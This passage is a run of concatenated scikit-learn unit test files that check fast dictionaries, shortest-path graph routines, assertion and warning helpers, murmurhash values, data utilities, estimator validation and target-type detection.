        dfirst_test = depth_first_tree(csgraph, 0, directed)
        assert_array_almost_equal(csgraph_to_dense(dfirst_test),
                                  dfirst)












""" Test fast_dict.
"""
import numpy as np
from nose.tools import assert_equal

from sklearn.utils.fast_dict import IntFloatDict, argmin
from sklearn.externals.six.moves import xrange

def test_int_float_dict():
    rng = np.random.RandomState(0)
    keys = np.unique(rng.randint(100, size=10).astype(np.intp))
    values = rng.rand(len(keys))

    d = IntFloatDict(keys, values)
    for key, value in zip(keys, values):
        assert_equal(d[key], value)
    assert_equal(len(d), len(keys))

    d.append(120, 3.)
    assert_equal(d[120], 3.0)
    assert_equal(len(d), len(keys) + 1)
    for i in xrange(2000):
        d.append(i + 1000, 4.0)
    assert_equal(d[1100], 4.0)


def test_int_float_dict_argmin():
    # Test the argmin implementation on the IntFloatDict
    keys = np.arange(100, dtype=np.intp)
    values = np.arange(100, dtype=np.float64)
    d = IntFloatDict(keys, values)
    assert_equal(argmin(d), (0, 0))






from collections import defaultdict

import numpy as np
from numpy.testing import assert_array_almost_equal
from sklearn.utils.graph import (graph_shortest_path,
                                 single_source_shortest_path_length)


def floyd_warshall_slow(graph, directed=False):
    N = graph.shape[0]

    #set nonzero entries to infinity
    graph[np.where(graph == 0)] = np.inf

    #set diagonal to zero
    graph.flat[::N + 1] = 0

    if not directed:
        graph = np.minimum(graph, graph.T)

    for k in range(N):
        for i in range(N):
            for j in range(N):
                graph[i, j] = min(graph[i, j], graph[i, k] + graph[k, j])

    graph[np.where(np.isinf(graph))] = 0

    return graph


def generate_graph(N=20):
    #sparse grid of distances
    rng = np.random.RandomState(0)
    dist_matrix = rng.random_sample((N, N))

    #make symmetric: distances are not direction-dependent
    dist_matrix = dist_matrix + dist_matrix.T

    #make graph sparse
    i = (rng.randint(N, size=N * N // 2), rng.randint(N, size=N * N // 2))
    dist_matrix[i] = 0

    #set diagonal to zero
    dist_matrix.flat[::N + 1] = 0

    return dist_matrix


def test_floyd_warshall():
    dist_matrix = generate_graph(20)

    for directed in (True, False):
        graph_FW = graph_shortest_path(dist_matrix, directed, 'FW')
        graph_py = floyd_warshall_slow(dist_matrix.copy(), directed)

        assert_array_almost_equal(graph_FW, graph_py)


def test_dijkstra():
    dist_matrix = generate_graph(20)

    for directed in (True, False):
        graph_D = graph_shortest_path(dist_matrix, directed, 'D')
        graph_py = floyd_warshall_slow(dist_matrix.copy(), directed)

        assert_array_almost_equal(graph_D, graph_py)


def test_shortest_path():
    dist_matrix = generate_graph(20)
    # We compare path length and not costs (-> set distances to 0 or 1)
    dist_matrix[dist_matrix != 0] = 1

    for directed in (True, False):
        if not directed:
            dist_matrix = np.minimum(dist_matrix, dist_matrix.T)

        graph_py = floyd_warshall_slow(dist_matrix.copy(), directed)
        for i in range(dist_matrix.shape[0]):
            # Non-reachable nodes have distance 0 in graph_py
            dist_dict = defaultdict(int)
            dist_dict.update(single_source_shortest_path_length(dist_matrix,
                                                                i))

            for j in range(graph_py[i].shape[0]):
                assert_array_almost_equal(dist_dict[j], graph_py[i, j])


def test_dijkstra_bug_fix():
    X = np.array([[0., 0., 4.],
                  [1., 0., 2.],
                  [0., 5., 0.]])
    dist_FW = graph_shortest_path(X, directed=False, method='FW')
    dist_D = graph_shortest_path(X, directed=False, method='D')
    assert_array_almost_equal(dist_D, dist_FW)






import warnings
import unittest
import sys

from nose.tools import assert_raises

from sklearn.utils.testing import (
    _assert_less,
    _assert_greater,
    assert_less_equal,
    assert_greater_equal,
    assert_warns,
    assert_no_warnings,
    assert_equal,
    set_random_state,
    assert_raise_message,
    ignore_warnings)

from sklearn.tree import DecisionTreeClassifier
from sklearn.discriminant_analysis import LinearDiscriminantAnalysis

try:
    from nose.tools import assert_less

    def test_assert_less():
        # Check that the nose implementation of assert_less gives the
        # same thing as the scikit's
        assert_less(0, 1)
        _assert_less(0, 1)
        assert_raises(AssertionError, assert_less, 1, 0)
        assert_raises(AssertionError, _assert_less, 1, 0)

except ImportError:
    pass

try:
    from nose.tools import assert_greater

    def test_assert_greater():
        # Check that the nose implementation of assert_less gives the
        # same thing as the scikit's
        assert_greater(1, 0)
        _assert_greater(1, 0)
        assert_raises(AssertionError, assert_greater, 0, 1)
        assert_raises(AssertionError, _assert_greater, 0, 1)

except ImportError:
    pass


def test_assert_less_equal():
    assert_less_equal(0, 1)
    assert_less_equal(1, 1)
    assert_raises(AssertionError, assert_less_equal, 1, 0)


def test_assert_greater_equal():
    assert_greater_equal(1, 0)
    assert_greater_equal(1, 1)
    assert_raises(AssertionError, assert_greater_equal, 0, 1)


def test_set_random_state():
    lda = LinearDiscriminantAnalysis()
    tree = DecisionTreeClassifier()
    # Linear Discriminant Analysis doesn't have random state: smoke test
    set_random_state(lda, 3)
    set_random_state(tree, 3)
    assert_equal(tree.random_state, 3)


def test_assert_raise_message():
    def _raise_ValueError(message):
        raise ValueError(message)

    def _no_raise():
        pass

    assert_raise_message(ValueError, "test",
                         _raise_ValueError, "test")

    assert_raises(AssertionError,
                  assert_raise_message, ValueError, "something else",
                  _raise_ValueError, "test")

    assert_raises(ValueError,
                  assert_raise_message, TypeError, "something else",
                  _raise_ValueError, "test")

    assert_raises(AssertionError,
                  assert_raise_message, ValueError, "test",
                  _no_raise)

    # multiple exceptions in a tuple
    assert_raises(AssertionError,
                  assert_raise_message, (ValueError, AttributeError),
                  "test", _no_raise)


def test_ignore_warning():
    # This check that ignore_warning decorateur and context manager are working
    # as expected
    def _warning_function():
        warnings.warn("deprecation warning", DeprecationWarning)

    def _multiple_warning_function():
        warnings.warn("deprecation warning", DeprecationWarning)
        warnings.warn("deprecation warning")

    # Check the function directly
    assert_no_warnings(ignore_warnings(_warning_function))
    assert_no_warnings(ignore_warnings(_warning_function,
                                       category=DeprecationWarning))
    assert_warns(DeprecationWarning, ignore_warnings(_warning_function,
                                                     category=UserWarning))
    assert_warns(UserWarning,
                 ignore_warnings(_multiple_warning_function,
                                 category=DeprecationWarning))
    assert_warns(DeprecationWarning,
                 ignore_warnings(_multiple_warning_function,
                                 category=UserWarning))
    assert_no_warnings(ignore_warnings(_warning_function,
                                       category=(DeprecationWarning,
                                                 UserWarning)))

    # Check the decorator
    @ignore_warnings
    def decorator_no_warning():
        _warning_function()
        _multiple_warning_function()

    @ignore_warnings(category=(DeprecationWarning, UserWarning))
    def decorator_no_warning_multiple():
        _multiple_warning_function()

    @ignore_warnings(category=DeprecationWarning)
    def decorator_no_deprecation_warning():
        _warning_function()

    @ignore_warnings(category=UserWarning)
    def decorator_no_user_warning():
        _warning_function()

    @ignore_warnings(category=DeprecationWarning)
    def decorator_no_deprecation_multiple_warning():
        _multiple_warning_function()

    @ignore_warnings(category=UserWarning)
    def decorator_no_user_multiple_warning():
        _multiple_warning_function()

    assert_no_warnings(decorator_no_warning)
    assert_no_warnings(decorator_no_warning_multiple)
    assert_no_warnings(decorator_no_deprecation_warning)
    assert_warns(DeprecationWarning, decorator_no_user_warning)
    assert_warns(UserWarning, decorator_no_deprecation_multiple_warning)
    assert_warns(DeprecationWarning, decorator_no_user_multiple_warning)

    # Check the context manager
    def context_manager_no_warning():
        with ignore_warnings():
            _warning_function()

    def context_manager_no_warning_multiple():
        with ignore_warnings(category=(DeprecationWarning, UserWarning)):
            _multiple_warning_function()

    def context_manager_no_deprecation_warning():
        with ignore_warnings(category=DeprecationWarning):
            _warning_function()

    def context_manager_no_user_warning():
        with ignore_warnings(category=UserWarning):
            _warning_function()

    def context_manager_no_deprecation_multiple_warning():
        with ignore_warnings(category=DeprecationWarning):
            _multiple_warning_function()

    def context_manager_no_user_multiple_warning():
        with ignore_warnings(category=UserWarning):
            _multiple_warning_function()

    assert_no_warnings(context_manager_no_warning)
    assert_no_warnings(context_manager_no_warning_multiple)
    assert_no_warnings(context_manager_no_deprecation_warning)
    assert_warns(DeprecationWarning, context_manager_no_user_warning)
    assert_warns(UserWarning, context_manager_no_deprecation_multiple_warning)
    assert_warns(DeprecationWarning, context_manager_no_user_multiple_warning)


# This class is inspired from numpy 1.7 with an alteration to check
# the reset warning filters after calls to assert_warns.
# This assert_warns behavior is specific to scikit-learn because
#`clean_warning_registry()` is called internally by assert_warns
# and clears all previous filters.
class TestWarns(unittest.TestCase):
    def test_warn(self):
        def f():
            warnings.warn("yo")
            return 3

        # Test that assert_warns is not impacted by externally set
        # filters and is reset internally.
        # This is because `clean_warning_registry()` is called internally by
        # assert_warns and clears all previous filters.
        warnings.simplefilter("ignore", UserWarning)
        assert_equal(assert_warns(UserWarning, f), 3)

        # Test that the warning registry is empty after assert_warns
        assert_equal(sys.modules['warnings'].filters, [])

        assert_raises(AssertionError, assert_no_warnings, f)
        assert_equal(assert_no_warnings(lambda x: x, 1), 1)

    def test_warn_wrong_warning(self):
        def f():
            warnings.warn("yo", DeprecationWarning)

        failed = False
        filters = sys.modules['warnings'].filters[:]
        try:
            try:
                # Should raise an AssertionError
                assert_warns(UserWarning, f)
                failed = True
            except AssertionError:
                pass
        finally:
            sys.modules['warnings'].filters = filters

        if failed:
            raise AssertionError("wrong warning caught by assert_warn")






# Author: Olivier Grisel <olivier.grisel@ensta.org>
#
# License: BSD 3 clause

import numpy as np
from sklearn.externals.six import b, u
from sklearn.utils.murmurhash import murmurhash3_32
from numpy.testing import assert_array_almost_equal
from numpy.testing import assert_array_equal
from nose.tools import assert_equal, assert_true


def test_mmhash3_int():
    assert_equal(murmurhash3_32(3), 847579505)
    assert_equal(murmurhash3_32(3, seed=0), 847579505)
    assert_equal(murmurhash3_32(3, seed=42), -1823081949)

    assert_equal(murmurhash3_32(3, positive=False), 847579505)
    assert_equal(murmurhash3_32(3, seed=0, positive=False), 847579505)
    assert_equal(murmurhash3_32(3, seed=42, positive=False), -1823081949)

    assert_equal(murmurhash3_32(3, positive=True), 847579505)
    assert_equal(murmurhash3_32(3, seed=0, positive=True), 847579505)
    assert_equal(murmurhash3_32(3, seed=42, positive=True), 2471885347)


def test_mmhash3_int_array():
    rng = np.random.RandomState(42)
    keys = rng.randint(-5342534, 345345, size=3 * 2 * 1).astype(np.int32)
    keys = keys.reshape((3, 2, 1))

    for seed in [0, 42]:
        expected = np.array([murmurhash3_32(int(k), seed)
                             for k in keys.flat])
        expected = expected.reshape(keys.shape)
        assert_array_equal(murmurhash3_32(keys, seed), expected)

    for seed in [0, 42]:
        expected = np.array([murmurhash3_32(k, seed, positive=True)
                             for k in keys.flat])
        expected = expected.reshape(keys.shape)
        assert_array_equal(murmurhash3_32(keys, seed, positive=True),
                           expected)


def test_mmhash3_bytes():
    assert_equal(murmurhash3_32(b('foo'), 0), -156908512)
    assert_equal(murmurhash3_32(b('foo'), 42), -1322301282)

    assert_equal(murmurhash3_32(b('foo'), 0, positive=True), 4138058784)
    assert_equal(murmurhash3_32(b('foo'), 42, positive=True), 2972666014)


def test_mmhash3_unicode():
    assert_equal(murmurhash3_32(u('foo'), 0), -156908512)
    assert_equal(murmurhash3_32(u('foo'), 42), -1322301282)

    assert_equal(murmurhash3_32(u('foo'), 0, positive=True), 4138058784)
    assert_equal(murmurhash3_32(u('foo'), 42, positive=True), 2972666014)


def test_no_collision_on_byte_range():
    previous_hashes = set()
    for i in range(100):
        h = murmurhash3_32(' ' * i, 0)
        assert_true(h not in previous_hashes,
                    "Found collision on growing empty string")


def test_uniform_distribution():
    n_bins, n_samples = 10, 100000
    bins = np.zeros(n_bins, dtype=np.float64)

    for i in range(n_samples):
        bins[murmurhash3_32(i, positive=True) % n_bins] += 1

    means = bins / n_samples
    expected = np.ones(n_bins) / n_bins

    assert_array_almost_equal(means / expected, np.ones(n_bins), 2)






import warnings

import numpy as np
import scipy.sparse as sp
from scipy.linalg import pinv2
from itertools import chain

from sklearn.utils.testing import (assert_equal, assert_raises, assert_true,
                                   assert_almost_equal, assert_array_equal,
                                   SkipTest, assert_raises_regex,
                                   assert_greater_equal)

from sklearn.utils import check_random_state
from sklearn.utils import deprecated
from sklearn.utils import resample
from sklearn.utils import safe_mask
from sklearn.utils import column_or_1d
from sklearn.utils import safe_indexing
from sklearn.utils import shuffle
from sklearn.utils import gen_even_slices
from sklearn.utils.extmath import pinvh
from sklearn.utils.arpack import eigsh
from sklearn.utils.mocking import MockDataFrame
from sklearn.utils.graph import graph_laplacian


def test_make_rng():
    # Check the check_random_state utility function behavior
    assert_true(check_random_state(None) is np.random.mtrand._rand)
    assert_true(check_random_state(np.random) is np.random.mtrand._rand)

    rng_42 = np.random.RandomState(42)
    assert_true(check_random_state(42).randint(100) == rng_42.randint(100))

    rng_42 = np.random.RandomState(42)
    assert_true(check_random_state(rng_42) is rng_42)

    rng_42 = np.random.RandomState(42)
    assert_true(check_random_state(43).randint(100) != rng_42.randint(100))

    assert_raises(ValueError, check_random_state, "some invalid seed")


def test_deprecated():
    # Test whether the deprecated decorator issues appropriate warnings
    # Copied almost verbatim from http://docs.python.org/library/warnings.html

    # First a function...
    with warnings.catch_warnings(record=True) as w:
        warnings.simplefilter("always")

        @deprecated()
        def ham():
            return "spam"

        spam = ham()

        assert_equal(spam, "spam")     # function must remain usable

        assert_equal(len(w), 1)
        assert_true(issubclass(w[0].category, DeprecationWarning))
        assert_true("deprecated" in str(w[0].message).lower())

    # ... then a class.
    with warnings.catch_warnings(record=True) as w:
        warnings.simplefilter("always")

        @deprecated("don't use this")
        class Ham(object):
            SPAM = 1

        ham = Ham()

        assert_true(hasattr(ham, "SPAM"))

        assert_equal(len(w), 1)
        assert_true(issubclass(w[0].category, DeprecationWarning))
        assert_true("deprecated" in str(w[0].message).lower())


def test_resample():
    # Border case not worth mentioning in doctests
    assert_true(resample() is None)

    # Check that invalid arguments yield ValueError
    assert_raises(ValueError, resample, [0], [0, 1])
    assert_raises(ValueError, resample, [0, 1], [0, 1],
                  replace=False, n_samples=3)
    assert_raises(ValueError, resample, [0, 1], [0, 1], meaning_of_life=42)
    # Issue:6581, n_samples can be more when replace is True (default).
    assert_equal(len(resample([1, 2], n_samples=5)), 5)


def test_safe_mask():
    random_state = check_random_state(0)
    X = random_state.rand(5, 4)
    X_csr = sp.csr_matrix(X)
    mask = [False, False, True, True, True]

    mask = safe_mask(X, mask)
    assert_equal(X[mask].shape[0], 3)

    mask = safe_mask(X_csr, mask)
    assert_equal(X_csr[mask].shape[0], 3)


def test_pinvh_simple_real():
    a = np.array([[1, 2, 3], [4, 5, 6], [7, 8, 10]], dtype=np.float64)
    a = np.dot(a, a.T)
    a_pinv = pinvh(a)
    assert_almost_equal(np.dot(a, a_pinv), np.eye(3))


def test_pinvh_nonpositive():
    a = np.array([[1, 2, 3], [4, 5, 6], [7, 8, 9]], dtype=np.float64)
    a = np.dot(a, a.T)
    u, s, vt = np.linalg.svd(a)
    s[0] *= -1
    a = np.dot(u * s, vt)  # a is now symmetric non-positive and singular
    a_pinv = pinv2(a)
    a_pinvh = pinvh(a)
    assert_almost_equal(a_pinv, a_pinvh)


def test_pinvh_simple_complex():
    a = (np.array([[1, 2, 3], [4, 5, 6], [7, 8, 10]])
         + 1j * np.array([[10, 8, 7], [6, 5, 4], [3, 2, 1]]))
    a = np.dot(a, a.conj().T)
    a_pinv = pinvh(a)
    assert_almost_equal(np.dot(a, a_pinv), np.eye(3))


def test_arpack_eigsh_initialization():
    # Non-regression test that shows null-space computation is better with
    # initialization of eigsh from [-1,1] instead of [0,1]
    random_state = check_random_state(42)

    A = random_state.rand(50, 50)
    A = np.dot(A.T, A)  # create s.p.d. matrix
    A = graph_laplacian(A) + 1e-7 * np.identity(A.shape[0])
    k = 5

    # Test if eigsh is working correctly
    # New initialization [-1,1] (as in original ARPACK)
    # Was [0,1] before, with which this test could fail
    v0 = random_state.uniform(-1,1, A.shape[0])
    w, _ = eigsh(A, k=k, sigma=0.0, v0=v0)

    # Eigenvalues of s.p.d. matrix should be nonnegative, w[0] is smallest
    assert_greater_equal(w[0], 0)


def test_column_or_1d():
    EXAMPLES = [
        ("binary", ["spam", "egg", "spam"]),
        ("binary", [0, 1, 0, 1]),
        ("continuous", np.arange(10) / 20.),
        ("multiclass", [1, 2, 3]),
        ("multiclass", [0, 1, 2, 2, 0]),
        ("multiclass", [[1], [2], [3]]),
        ("multilabel-indicator", [[0, 1, 0], [0, 0, 1]]),
        ("multiclass-multioutput", [[1, 2, 3]]),
        ("multiclass-multioutput", [[1, 1], [2, 2], [3, 1]]),
        ("multiclass-multioutput", [[5, 1], [4, 2], [3, 1]]),
        ("multiclass-multioutput", [[1, 2, 3]]),
        ("continuous-multioutput", np.arange(30).reshape((-1, 3))),
    ]

    for y_type, y in EXAMPLES:
        if y_type in ["binary", 'multiclass', "continuous"]:
            assert_array_equal(column_or_1d(y), np.ravel(y))
        else:
            assert_raises(ValueError, column_or_1d, y)


def test_safe_indexing():
    X = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]
    inds = np.array([1, 2])
    X_inds = safe_indexing(X, inds)
    X_arrays = safe_indexing(np.array(X), inds)
    assert_array_equal(np.array(X_inds), X_arrays)
    assert_array_equal(np.array(X_inds), np.array(X)[inds])


def test_safe_indexing_pandas():
    try:
        import pandas as pd
    except ImportError:
        raise SkipTest("Pandas not found")
    X = np.array([[1, 2, 3], [4, 5, 6], [7, 8, 9]])
    X_df = pd.DataFrame(X)
    inds = np.array([1, 2])
    X_df_indexed = safe_indexing(X_df, inds)
    X_indexed = safe_indexing(X_df, inds)
    assert_array_equal(np.array(X_df_indexed), X_indexed)
    # fun with read-only data in dataframes
    # this happens in joblib memmapping
    X.setflags(write=False)
    X_df_readonly = pd.DataFrame(X)
    with warnings.catch_warnings(record=True):
        X_df_ro_indexed = safe_indexing(X_df_readonly, inds)

    assert_array_equal(np.array(X_df_ro_indexed), X_indexed)


def test_safe_indexing_mock_pandas():
    X = np.array([[1, 2, 3], [4, 5, 6], [7, 8, 9]])
    X_df = MockDataFrame(X)
    inds = np.array([1, 2])
    X_df_indexed = safe_indexing(X_df, inds)
    X_indexed = safe_indexing(X_df, inds)
    assert_array_equal(np.array(X_df_indexed), X_indexed)


def test_shuffle_on_ndim_equals_three():
    def to_tuple(A):    # to make the inner arrays hashable
        return tuple(tuple(tuple(C) for C in B) for B in A)

    A = np.array([[[1, 2], [3, 4]], [[5, 6], [7, 8]]])  # A.shape = (2,2,2)
    S = set(to_tuple(A))
    shuffle(A)  # shouldn't raise a ValueError for dim = 3
    assert_equal(set(to_tuple(A)), S)


def test_shuffle_dont_convert_to_array():
    # Check that shuffle does not try to convert to numpy arrays with float
    # dtypes can let any indexable datastructure pass-through.
    a = ['a', 'b', 'c']
    b = np.array(['a', 'b', 'c'], dtype=object)
    c = [1, 2, 3]
    d = MockDataFrame(np.array([['a', 0],
                                ['b', 1],
                                ['c', 2]],
                      dtype=object))
    e = sp.csc_matrix(np.arange(6).reshape(3, 2))
    a_s, b_s, c_s, d_s, e_s = shuffle(a, b, c, d, e, random_state=0)

    assert_equal(a_s, ['c', 'b', 'a'])
    assert_equal(type(a_s), list)

    assert_array_equal(b_s, ['c', 'b', 'a'])
    assert_equal(b_s.dtype, object)

    assert_equal(c_s, [3, 2, 1])
    assert_equal(type(c_s), list)

    assert_array_equal(d_s, np.array([['c', 2],
                                      ['b', 1],
                                      ['a', 0]],
                                     dtype=object))
    assert_equal(type(d_s), MockDataFrame)

    assert_array_equal(e_s.toarray(), np.array([[4, 5],
                                                [2, 3],
                                                [0, 1]]))


def test_gen_even_slices():
    # check that gen_even_slices contains all samples
    some_range = range(10)
    joined_range = list(chain(*[some_range[slice] for slice in gen_even_slices(10, 3)]))
    assert_array_equal(some_range, joined_range)

    # check that passing negative n_chunks raises an error
    slices = gen_even_slices(10, -1)
    assert_raises_regex(ValueError, "gen_even_slices got n_packs=-1, must be"
                        " >=1", next, slices)






import scipy.sparse as sp
import numpy as np
import sys
from sklearn.externals.six.moves import cStringIO as StringIO

from sklearn.base import BaseEstimator, ClassifierMixin
from sklearn.utils.testing import assert_raises_regex, assert_true
from sklearn.utils.estimator_checks import check_estimator
from sklearn.utils.estimator_checks import check_estimators_unfitted
from sklearn.ensemble import AdaBoostClassifier
from sklearn.linear_model import MultiTaskElasticNet
from sklearn.utils.validation import check_X_y, check_array


class CorrectNotFittedError(ValueError):
    """Exception class to raise if estimator is used before fitting.

    Like NotFittedError, it inherits from ValueError, but not from
    AttributeError. Used for testing only.
    """


class BaseBadClassifier(BaseEstimator, ClassifierMixin):
    def fit(self, X, y):
        return self

    def predict(self, X):
        return np.ones(X.shape[0])


class NoCheckinPredict(BaseBadClassifier):
    def fit(self, X, y):
        X, y = check_X_y(X, y)
        return self


class NoSparseClassifier(BaseBadClassifier):
    def fit(self, X, y):
        X, y = check_X_y(X, y, accept_sparse=['csr', 'csc'])
        if sp.issparse(X):
            raise ValueError("Nonsensical Error")
        return self

    def predict(self, X):
        X = check_array(X)
        return np.ones(X.shape[0])


class CorrectNotFittedErrorClassifier(BaseBadClassifier):
    def fit(self, X, y):
        X, y = check_X_y(X, y)
        self.coef_ = np.ones(X.shape[1])
        return self

    def predict(self, X):
        if not hasattr(self, 'coef_'):
            raise CorrectNotFittedError("estimator is not fitted yet")
        X = check_array(X)
        return np.ones(X.shape[0])


def test_check_estimator():
    # tests that the estimator actually fails on "bad" estimators.
    # not a complete test of all checks, which are very extensive.

    # check that we have a set_params and can clone
    msg = "it does not implement a 'get_params' methods"
    assert_raises_regex(TypeError, msg, check_estimator, object)
    # check that we have a fit method
    msg = "object has no attribute 'fit'"
    assert_raises_regex(AttributeError, msg, check_estimator, BaseEstimator)
    # check that fit does input validation
    msg = "TypeError not raised by fit"
    assert_raises_regex(AssertionError, msg, check_estimator, BaseBadClassifier)
    # check that predict does input validation (doesn't accept dicts in input)
    msg = "Estimator doesn't check for NaN and inf in predict"
    assert_raises_regex(AssertionError, msg, check_estimator, NoCheckinPredict)
    # check for sparse matrix input handling
    name = NoSparseClassifier.__name__
    msg = "Estimator " + name + " doesn't seem to fail gracefully on sparse data"
    # the check for sparse input handling prints to the stdout,
    # instead of raising an error, so as not to remove the original traceback.
    # that means we need to jump through some hoops to catch it.
    old_stdout = sys.stdout
    string_buffer = StringIO()
    sys.stdout = string_buffer
    try:
        check_estimator(NoSparseClassifier)
    except:
        pass
    finally:
        sys.stdout = old_stdout
    assert_true(msg in string_buffer.getvalue())

    # doesn't error on actual estimator
    check_estimator(AdaBoostClassifier)
    check_estimator(MultiTaskElasticNet)


def test_check_estimators_unfitted():
    # check that a ValueError/AttributeError is raised when calling predict
    # on an unfitted estimator
    msg = "AttributeError or ValueError not raised by predict"
    assert_raises_regex(AssertionError, msg, check_estimators_unfitted,
                        "estimator", NoSparseClassifier)

    # check that CorrectNotFittedError inherit from either ValueError
    # or AttributeError
    check_estimators_unfitted("estimator", CorrectNotFittedErrorClassifier)






# Author: Tom Dupre la Tour <tom.dupre-la-tour@m4x.org>
#
# License: BSD 3 clause

import numpy as np
import scipy.sparse as sp

from sklearn.utils.seq_dataset import ArrayDataset, CSRDataset
from sklearn.datasets import load_iris

from numpy.testing import assert_array_equal
from nose.tools import assert_equal

iris = load_iris()
X = iris.data.astype(np.float64)
y = iris.target.astype(np.float64)
X_csr = sp.csr_matrix(X)
sample_weight = np.arange(y.size, dtype=np.float64)


def assert_csr_equal(X, Y):
    X.eliminate_zeros()
    Y.eliminate_zeros()
    assert_equal(X.shape[0], Y.shape[0])
    assert_equal(X.shape[1], Y.shape[1])
    assert_array_equal(X.data, Y.data)
    assert_array_equal(X.indices, Y.indices)
    assert_array_equal(X.indptr, Y.indptr)


def test_seq_dataset():
    dataset1 = ArrayDataset(X, y, sample_weight, seed=42)
    dataset2 = CSRDataset(X_csr.data, X_csr.indptr, X_csr.indices,
                          y, sample_weight, seed=42)

    for dataset in (dataset1, dataset2):
        for i in range(5):
            # next sample
            xi_, yi, swi, idx = dataset._next_py()
            xi = sp.csr_matrix((xi_), shape=(1, X.shape[1]))

            assert_csr_equal(xi, X_csr[idx])
            assert_equal(yi, y[idx])
            assert_equal(swi, sample_weight[idx])

            # random sample
            xi_, yi, swi, idx = dataset._random_py()
            xi = sp.csr_matrix((xi_), shape=(1, X.shape[1]))

            assert_csr_equal(xi, X_csr[idx])
            assert_equal(yi, y[idx])
            assert_equal(swi, sample_weight[idx])


def test_seq_dataset_shuffle():
    dataset1 = ArrayDataset(X, y, sample_weight, seed=42)
    dataset2 = CSRDataset(X_csr.data, X_csr.indptr, X_csr.indices,
                          y, sample_weight, seed=42)

    # not shuffled
    for i in range(5):
        _, _, _, idx1 = dataset1._next_py()
        _, _, _, idx2 = dataset2._next_py()
        assert_equal(idx1, i)
        assert_equal(idx2, i)

    for i in range(5):
        _, _, _, idx1 = dataset1._random_py()
        _, _, _, idx2 = dataset2._random_py()
        assert_equal(idx1, idx2)

    seed = 77
    dataset1._shuffle_py(seed)
    dataset2._shuffle_py(seed)

    for i in range(5):
        _, _, _, idx1 = dataset1._next_py()
        _, _, _, idx2 = dataset2._next_py()
        assert_equal(idx1, idx2)

        _, _, _, idx1 = dataset1._random_py()
        _, _, _, idx2 = dataset2._random_py()
        assert_equal(idx1, idx2)








from __future__ import division
import numpy as np
import scipy.sparse as sp
from itertools import product

from sklearn.externals.six.moves import xrange
from sklearn.externals.six import iteritems

from scipy.sparse import issparse
from scipy.sparse import csc_matrix
from scipy.sparse import csr_matrix
from scipy.sparse import coo_matrix
from scipy.sparse import dok_matrix
from scipy.sparse import lil_matrix

from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_true
from sklearn.utils.testing import assert_false
from sklearn.utils.testing import assert_raises
from sklearn.utils.testing import assert_raises_regex

from sklearn.utils.multiclass import unique_labels
from sklearn.utils.multiclass import is_multilabel
from sklearn.utils.multiclass import type_of_target
from sklearn.utils.multiclass import class_distribution
from sklearn.utils.multiclass import check_classification_targets


class NotAnArray(object):
    """An object that is convertable to an array. This is useful to
    simulate a Pandas timeseries."""

    def __init__(self, data):
        self.data = data

    def __array__(self):
        return self.data


EXAMPLES = {
    'multilabel-indicator': [
        # valid when the data is formatted as sparse or dense, identified
        # by CSR format when the testing takes place
        csr_matrix(np.random.RandomState(42).randint(2, size=(10, 10))),
        csr_matrix(np.array([[0, 1], [1, 0]])),
        csr_matrix(np.array([[0, 1], [1, 0]], dtype=np.bool)),
        csr_matrix(np.array([[0, 1], [1, 0]], dtype=np.int8)),
        csr_matrix(np.array([[0, 1], [1, 0]], dtype=np.uint8)),
        csr_matrix(np.array([[0, 1], [1, 0]], dtype=np.float)),
        csr_matrix(np.array([[0, 1], [1, 0]], dtype=np.float32)),
        csr_matrix(np.array([[0, 0], [0, 0]])),
        csr_matrix(np.array([[0, 1]])),
        # Only valid when data is dense
        np.array([[-1, 1], [1, -1]]),
        np.array([[-3, 3], [3, -3]]),
        NotAnArray(np.array([[-3, 3], [3, -3]])),
    ],
    'multiclass': [
        [1, 0, 2, 2, 1, 4, 2, 4, 4, 4],
        np.array([1, 0, 2]),
        np.array([1, 0, 2], dtype=np.int8),
        np.array([1, 0, 2], dtype=np.uint8),
        np.array([1, 0, 2], dtype=np.float),
        np.array([1, 0, 2], dtype=np.float32),
        np.array([[1], [0], [2]]),
        NotAnArray(np.array([1, 0, 2])),
        [0, 1, 2],
        ['a', 'b', 'c'],
        np.array([u'a', u'b', u'c']),
        np.array([u'a', u'b', u'c'], dtype=object),
        np.array(['a', 'b', 'c'], dtype=object),
    ],
    'multiclass-multioutput': [
        np.array([[1, 0, 2, 2], [1, 4, 2, 4]]),
        np.array([[1, 0, 2, 2], [1, 4, 2, 4]], dtype=np.int8),
        np.array([[1, 0, 2, 2], [1, 4, 2, 4]], dtype=np.uint8),
        np.array([[1, 0, 2, 2], [1, 4, 2, 4]], dtype=np.float),
        np.array([[1, 0, 2, 2], [1, 4, 2, 4]], dtype=np.float32),
        np.array([['a', 'b'], ['c', 'd']]),
        np.array([[u'a', u'b'], [u'c', u'd']]),
        np.array([[u'a', u'b'], [u'c', u'd']], dtype=object),
        np.array([[1, 0, 2]]),
        NotAnArray(np.array([[1, 0, 2]])),
    ],
    'binary': [
        [0, 1],
        [1, 1],
        [],
        [0],
        np.array([0, 1, 1, 1, 0, 0, 0, 1, 1, 1]),
        np.array([0, 1, 1, 1, 0, 0, 0, 1, 1, 1], dtype=np.bool),
        np.array([0, 1, 1, 1, 0, 0, 0, 1, 1, 1], dtype=np.int8),
        np.array([0, 1, 1, 1, 0, 0, 0, 1, 1, 1], dtype=np.uint8),
        np.array([0, 1, 1, 1, 0, 0, 0, 1, 1, 1], dtype=np.float),
        np.array([0, 1, 1, 1, 0, 0, 0, 1, 1, 1], dtype=np.float32),
        np.array([[0], [1]]),
        NotAnArray(np.array([[0], [1]])),
        [1, -1],
        [3, 5],
        ['a'],
        ['a', 'b'],
        ['abc', 'def'],
        np.array(['abc', 'def']),
        [u'a', u'b'],
        np.array(['abc', 'def'], dtype=object),
    ],
    'continuous': [
        [1e-5],
        [0, .5],
        np.array([[0], [.5]]),
        np.array([[0], [.5]], dtype=np.float32),
    ],
    'continuous-multioutput': [
        np.array([[0, .5], [.5, 0]]),
        np.array([[0, .5], [.5, 0]], dtype=np.float32),
        np.array([[0, .5]]),
    ],
    'unknown': [
        [[]],
        [()],
        # sequence of sequences that weren't supported even before deprecation
        np.array([np.array([]), np.array([1, 2, 3])], dtype=object),
        [np.array([]), np.array([1, 2, 3])],
        [set([1, 2, 3]), set([1, 2])],
        [frozenset([1, 2, 3]), frozenset([1, 2])],

        # and also confusable as sequences of sequences
        [{0: 'a', 1: 'b'}, {0: 'a'}],

        # empty second dimension
        np.array([[], []]),

        # 3d
        np.array([[[0, 1], [2, 3]], [[4, 5], [6, 7]]]),
    ]
}

